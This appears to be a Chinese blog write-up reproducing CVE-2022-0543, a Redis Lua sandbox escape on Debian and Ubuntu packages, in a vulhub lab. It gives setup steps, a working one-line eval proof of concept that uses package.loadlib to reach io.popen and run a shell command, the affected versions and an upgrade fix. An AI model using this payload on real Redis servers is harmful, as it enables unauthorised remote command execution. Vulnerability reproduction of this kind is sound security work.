vlambda博客
学习文章列表

CVE-2022-0543Redis Lua沙箱绕过RCE复现

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文

前言

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

环境搭建

1、更新vulhub

CVE-2022-0543Redis Lua沙箱绕过RCE复现

2、拉取漏洞环境

CVE-2022-0543Redis Lua沙箱绕过RCE复现

注意,若环境之前有redis服务,记得把之前的redis服务关闭再重新拉取即可。

CVE-2022-0543Redis Lua沙箱绕过RCE复现

关闭Redis

安全关闭

    先ps -ef | grep redis查看redis运行状态,看到Redis服务在运行中;发现是启动状态,在启动redis-cli的时候关闭redis程序 ./redis-cli shutdown ,Redis服务已经退出;再次ps -ef | grep redis查看redis运行状态,Redis服务已经退出

CVE-2022-0543Redis Lua沙箱绕过RCE复现

暴力关闭

    直接kill -9 PID即可

CVE-2022-0543Redis Lua沙箱绕过RCE复现

漏洞复现POC

1、使用redis-cli工具连接redis

CVE-2022-0543Redis Lua沙箱绕过RCE复现

2、利用POC验证

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0

CVE-2022-0543Redis Lua沙箱绕过RCE复现

漏洞影响

安全版本
Redis 6.2.5、6.0.15、5.0.13或更高版本

影响版本
An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives
5.0.13 > redis >=2.2
6.0.15 > redis >=2.2
6.2.5 > redis >=2.2

修复建议

更新到无漏洞版本

参考

https://mp.weixin.qq.com/s/OajI--GbU97L8oL___QMFQ
https://github.com/redis/redis



CVE-2022-0543Redis Lua沙箱绕过RCE复现

技术交流





交流群



CVE-2022-0543Redis Lua沙箱绕过RCE复现




知识星球



团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。

CVE-2022-0543Redis Lua沙箱绕过RCE复现

CVE-2022-0543Redis Lua沙箱绕过RCE复现


往期文章:







点一下爱心再走吧!